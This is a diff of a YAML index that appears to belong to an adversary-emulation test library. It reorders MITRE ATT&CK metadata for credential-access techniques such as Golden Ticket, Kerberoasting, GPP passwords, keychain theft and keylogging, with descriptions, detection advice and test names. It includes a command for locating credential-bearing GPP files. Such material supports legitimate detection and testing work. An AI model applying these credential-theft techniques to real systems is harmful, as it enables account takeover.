+        url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
+      - url: https://logrhythm.com/blog/do-you-trust-your-computer/
+        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
+          December 17, 2018.
+        source_name: LogRhythm Do You Trust Oct 2014
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
+      - url: https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
+        description: Johann Rehberger. (2021, April 18). Spoofing credential dialogs
+          on macOS Linux and Windows. Retrieved August 19, 2021.
+        source_name: Spoofing credential dialogs
+      - url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
+        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
+          you want it, just ask!. Retrieved December 17, 2018.'
+        source_name: Enigma Phishing for Credentials Jan 2015
       identifier: T1056.002
     atomic_tests:
     - name: AppleScript - Prompt User for Password
@@ -2277,39 +2341,25 @@ credential-access:
         name: powershell
   T1558.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1558.001
-        url: https://attack.mitre.org/techniques/T1558/001
-      - url: https://adsecurity.org/?p=1640
-        description: Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now
-          More Golden. Retrieved December 1, 2017.
-        source_name: AdSecurity Kerberos GT Aug 2015
-      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
-        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
-          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
-        source_name: CERT-EU Golden Ticket Protection
-      - url: https://adsecurity.org/?p=1515
-        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
-          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
-          23, 2015.
-        source_name: ADSecurity Detecting Forged Tickets
-      - description: 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active
-          Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.'
-        url: https://adsecurity.org/?p=483
-        source_name: ADSecurity Kerberos and KRBTGT
-      - source_name: Stealthbits Detect PtT 2019
-        url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
-        description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
-          Attacks. Retrieved February 27, 2020.
-      - source_name: Microsoft Kerberos Golden Ticket
-        url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
-        description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
-          Retrieved February 27, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Golden Ticket
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Credential Request'
+      - 'Logon Session: Logon Session Metadata'
+      x_mitre_version: '1.1'
+      modified: '2020-11-05T16:07:03.779Z'
+      created: '2020-02-11T19:13:33.643Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries who have the KRBTGT account password hash may forge
         Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation:
         AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate
@@ -2324,20 +2374,8 @@ credential-access:
         all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT
         password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
         and privileged access to a domain controller."
-      id: attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-11-05T16:07:03.779Z'
-      created: '2020-02-11T19:13:33.643Z'
       x_mitre_contributors:
       - Itamar Mizrahi, Cymptom
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Credential Request'
-      - 'Logon Session: Logon Session Metadata'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
         or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634),
         RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation:
@@ -2346,10 +2384,36 @@ credential-access:
         that differ from the default domain duration.(Citation: Microsoft Kerberos
         Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)
         being used to move laterally. \n"
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1558/001
+        external_id: T1558.001
+        source_name: mitre-attack
+      - source_name: AdSecurity Kerberos GT Aug 2015
+        description: Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now
+          More Golden. Retrieved December 1, 2017.
+        url: https://adsecurity.org/?p=1640
+      - source_name: CERT-EU Golden Ticket Protection
+        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
+          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
+        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
+      - source_name: ADSecurity Detecting Forged Tickets
+        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
+          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
+          23, 2015.
+        url: https://adsecurity.org/?p=1515
+      - source_name: ADSecurity Kerberos and KRBTGT
+        description: 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active
+          Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.'
+        url: https://adsecurity.org/?p=483
+      - url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
+        description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
+          Attacks. Retrieved February 27, 2020.
+        source_name: Stealthbits Detect PtT 2019
+      - url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
+        description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
+          Retrieved February 27, 2020.
+        source_name: Microsoft Kerberos Golden Ticket
       identifier: T1558.001
     atomic_tests:
     - name: Crafting Active Directory golden tickets with mimikatz
@@ -2514,30 +2578,22 @@ credential-access:
           $env:TEMP\\golden.txt -ErrorAction Ignore\n"
   T1552.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552.006
-        url: https://attack.mitre.org/techniques/T1552/006
-      - source_name: Microsoft GPP 2016
-        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)
-        description: Microsoft. (2016, August 31). Group Policy Preferences. Retrieved
-          March 9, 2020.
-      - url: https://msdn.microsoft.com/library/cc422924.aspx
-        description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April
-          11, 2018.
-        source_name: Microsoft GPP Key
-      - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html
-        description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell.
-          Retrieved April 11, 2018.
-        source_name: Obscuresecurity Get-GPPPassword
-      - description: Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL
-          & Exploiting Group Policy Preferences. Retrieved February 17, 2020.
-        url: https://adsecurity.org/?p=2288
-        source_name: ADSecurity Finding Passwords in SYSVOL
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Group Policy Preferences
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-06-17T14:25:38.082Z'
+      created: '2020-02-11T18:43:06.253Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e
       description: |
         Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)
 
@@ -2550,26 +2606,34 @@ credential-access:
         * gpprefdecrypt.py
 
         On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>
-      id: attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-06-17T14:25:38.082Z'
-      created: '2020-02-11T18:43:06.253Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
       x_mitre_detection: "Monitor for attempts to access SYSVOL that involve searching
         for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny
         and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords
         in SYSVOL)"
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552/006
+        external_id: T1552.006
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)
+        description: Microsoft. (2016, August 31). Group Policy Preferences. Retrieved
+          March 9, 2020.
+        source_name: Microsoft GPP 2016
+      - source_name: Microsoft GPP Key
+        description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April
+          11, 2018.
+        url: https://msdn.microsoft.com/library/cc422924.aspx
+      - source_name: Obscuresecurity Get-GPPPassword
+        description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell.
+          Retrieved April 11, 2018.
+        url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html
+      - source_name: ADSecurity Finding Passwords in SYSVOL
+        description: Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL
+          & Exploiting Group Policy Preferences. Retrieved February 17, 2020.
+        url: https://adsecurity.org/?p=2288
       identifier: T1552.006
     atomic_tests:
     - name: GPP Passwords (findstr)
@@ -2650,38 +2714,8 @@ credential-access:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056
-        url: https://attack.mitre.org/techniques/T1056
-      - external_id: CAPEC-569
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/569.html
-      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
-        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
-          look into keyloggers on Windows. Retrieved April 27, 2016.'
-        source_name: Adventures of a Keystroke
-      description: Adversaries may use methods of capturing user input to obtain credentials
-        or collect information. During normal system usage, users often provide credentials
-        to various different locations, such as login pages/portals or system dialog
-        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
-        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
-        the user into providing input into what they believe to be a genuine service
-        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
-      name: Input Capture
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-10-21T01:31:35.760Z'
-      created: '2017-05-31T21:30:48.323Z'
-      x_mitre_version: '1.2'
-      x_mitre_contributors:
-      - John Lambert, Microsoft Threat Intelligence Center
+      name: Input Capture
       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Driver: Driver Load'
@@ -2689,26 +2723,108 @@ credential-access:
       - 'Process: Process Creation'
       - 'File: File Modification'
       - 'Process: Process Metadata'
-      x_mitre_detection: 'Detection may vary depending on how input is captured but
-        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
-        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
-        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
-        and ensuring no unauthorized drivers or kernel modules that could indicate
-        keylogging or API hooking are present.'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - root
-      - User
+      x_mitre_version: '1.2'
+      modified: '2021-08-24T18:21:08.497Z'
+      created: '2017-05-31T21:30:48.323Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
       x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - root
+      - User
+      description: Adversaries may use methods of capturing user input to obtain credentials
+        or collect information. During normal system usage, users often provide credentials
+        to various different locations, such as login pages/portals or system dialog
+        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
+        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
+        the user into providing input into what they believe to be a genuine service
+        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
+      x_mitre_contributors:
+      - John Lambert, Microsoft Threat Intelligence Center
+      x_mitre_detection: 'Detection may vary depending on how input is captured but
+        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
+        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
+        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
+        and ensuring no unauthorized drivers or kernel modules that could indicate
+        keylogging or API hooking are present.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056
+        external_id: T1056
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/569.html
+        external_id: CAPEC-569
+        source_name: capec
+      - source_name: Adventures of a Keystroke
+        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
+          look into keyloggers on Windows. Retrieved April 27, 2016.'
+        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
     atomic_tests: []
   T1558.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Kerberoasting
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1558/003
+        external_id: T1558.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/509.html
+        external_id: CAPEC-509
+        source_name: capec
+      - source_name: Empire InvokeKerberoast Oct 2016
+        description: EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved
+          March 22, 2018.
+        url: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
+      - source_name: AdSecurity Cracking Kerberos Dec 2015
+        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
+          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
+          Domain. Retrieved March 22, 2018.
+        url: https://adsecurity.org/?p=2293
+      - source_name: Microsoft Detecting Kerberoasting Feb 2018
+        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
+          using Azure Security Center. Retrieved March 23, 2018.
+        url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
+      - source_name: Microsoft SPN
+        description: Microsoft. (n.d.). Service Principal Names. Retrieved March 22,
+          2018.
+        url: https://msdn.microsoft.com/library/ms677949.aspx
+      - source_name: Microsoft SetSPN
+        description: Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN
+          Syntax (Setspn.exe). Retrieved March 22, 2018.
+        url: https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
+      - url: https://redsiege.com/kerberoast-slides
+        description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
+          Guard Dog of Hades. Retrieved March 22, 2018.
+        source_name: SANS Attacking Kerberos Nov 2014
+      - source_name: Harmj0y Kerberoast Nov 2016
+        description: Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz.
+          Retrieved March 23, 2018.
+        url: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.1'
+      modified: '2020-10-20T19:30:10.687Z'
+      x_mitre_system_requirements:
+      - Valid domain account or the ability to sniff traffic within a domain
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee
       description: "Adversaries may abuse a valid Kerberos ticket-granting ticket
         (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket
@@ -2735,68 +2851,16 @@ credential-access:
         [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral
         Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
         SANS Attacking Kerberos Nov 2014)"
-      name: Kerberoasting
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1558.003
-        url: https://attack.mitre.org/techniques/T1558/003
-      - external_id: CAPEC-509
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/509.html
-      - url: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
-        description: EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved
-          March 22, 2018.
-        source_name: Empire InvokeKerberoast Oct 2016
-      - url: https://adsecurity.org/?p=2293
-        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
-          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
-          Domain. Retrieved March 22, 2018.
-        source_name: AdSecurity Cracking Kerberos Dec 2015
-      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
-        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
-          using Azure Security Center. Retrieved March 23, 2018.
-        source_name: Microsoft Detecting Kerberoasting Feb 2018
-      - url: https://msdn.microsoft.com/library/ms677949.aspx
-        description: Microsoft. (n.d.). Service Principal Names. Retrieved March 22,
-          2018.
-        source_name: Microsoft SPN
-      - url: https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
-        description: Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN
-          Syntax (Setspn.exe). Retrieved March 22, 2018.
-        source_name: Microsoft SetSPN
-      - description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
-          Guard Dog of Hades. Retrieved March 22, 2018.
-        source_name: SANS Attacking Kerberos Nov 2014
-        url: https://redsiege.com/kerberoast-slides
-      - url: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
-        description: Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz.
-          Retrieved March 23, 2018.
-        source_name: Harmj0y Kerberoast Nov 2016
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-10-20T19:30:10.687Z'
-      created: '2020-02-11T18:43:38.588Z'
       x_mitre_contributors:
       - Praetorian
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_system_requirements:
-      - Valid domain account or the ability to sniff traffic within a domain
       x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos
         TGS service ticket requests. Particularly investigate irregular patterns of
         activity (ex: accounts making numerous requests, Event ID 4769, within a small
         time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation:
         Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking
         Kerberos Dec 2015)'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created: '2020-02-11T18:43:38.588Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1558.003
     atomic_tests:
     - name: Request for service tickets
@@ -2979,46 +3043,46 @@ credential-access:
         name: powershell
   T1555.001:
     technique:
-      created: '2020-02-12T18:55:24.728Z'
-      modified: '2020-02-17T13:14:31.140Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
       type: attack-pattern
+      modified: '2020-02-17T13:14:31.140Z'
+      name: Keychain
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      - 'File: File Access'
+      x_mitre_version: '1.0'
+      created: '2020-02-12T18:55:24.728Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3
       description: |-
         Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
 
         To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
-      name: Keychain
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1555.001
-        url: https://attack.mitre.org/techniques/T1555/001
-      - url: https://en.wikipedia.org/wiki/Keychain_(software)
-        description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.
-        source_name: Wikipedia keychain
-      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
-        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
-          DA, the OS X Way. Retrieved July 3, 2017.
-        source_name: External to DA, the OS X Way
-      x_mitre_platforms:
-      - macOS
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       x_mitre_detection: Unlocking the keychain and using passwords from it is a very
         common process, so there is likely to be a lot of noise in any detection technique.
         Monitoring of system calls to the keychain can help determine if there is
         a suspicious process trying to access it.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      - 'File: File Access'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1555/001
+        external_id: T1555.001
+        source_name: mitre-attack
+      - source_name: Wikipedia keychain
+        description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.
+        url: https://en.wikipedia.org/wiki/Keychain_(software)
+      - source_name: External to DA, the OS X Way
+        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
+          DA, the OS X Way. Retrieved July 3, 2017.
+        url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
       identifier: T1555.001
     atomic_tests:
     - name: Keychain
@@ -3050,33 +3114,27 @@ credential-access:
         name: sh
   T1056.001:
     technique:
-      created: '2020-02-11T18:58:11.791Z'
-      modified: '2020-10-21T01:30:56.227Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
       type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.001
-        url: https://attack.mitre.org/techniques/T1056/001
-      - external_id: CAPEC-568
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/568.html
-      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
-        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
-          look into keyloggers on Windows. Retrieved April 27, 2016.'
-        source_name: Adventures of a Keystroke
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2020-10-21T01:30:56.227Z'
       name: Keylogging
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Driver: Driver Load'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      created: '2020-02-11T18:58:11.791Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - root
+      - SYSTEM
+      - User
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
       description: "Adversaries may log user keystrokes to intercept credentials as
         the user types them. Keylogging is likely to be used to acquire credentials
         for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
@@ -3092,16 +3150,13 @@ credential-access:
         may provide adversaries with hooks into the operating system of network devices
         to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device
         Attacks) "
-      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Driver: Driver Load'
-      - 'Process: OS API Execution'
-      x_mitre_permissions_required:
-      - Administrator
-      - root
-      - SYSTEM
-      - User
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification
         to the Registry and installation of a driver, setting a hook, or polling to
         intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`,
@@ -3110,13 +3165,22 @@ credential-access:
         keylogging API calls. API calls alone are not an indicator of keylogging,
         but may provide behavioral data that is useful when combined with other information
         such as new files written to disk and unusual processes.'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/001
+        external_id: T1056.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/568.html
+        external_id: CAPEC-568
+        source_name: capec
+      - source_name: Adventures of a Keystroke
+        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
+          look into keyloggers on Windows. Retrieved April 27, 2016.'
+        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
       identifier: T1056.001
     atomic_tests:
     - name: Input Capture
@@ -3320,49 +3384,29 @@ credential-access:
 '
   T1557.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1557.001
-        url: https://attack.mitre.org/techniques/T1557/001
-      - url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
-        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
-          Retrieved November 17, 2017.
-        source_name: Wikipedia LLMNR
-      - url: https://technet.microsoft.com/library/cc958811.aspx
-        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
-          17, 2017.
-        source_name: TechNet NetBIOS
-      - source_name: byt3bl33d3r NTLM Relaying
-        url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
-        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
-          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
-          7, 2019.
-      - source_name: Secure Ideas SMB Relay
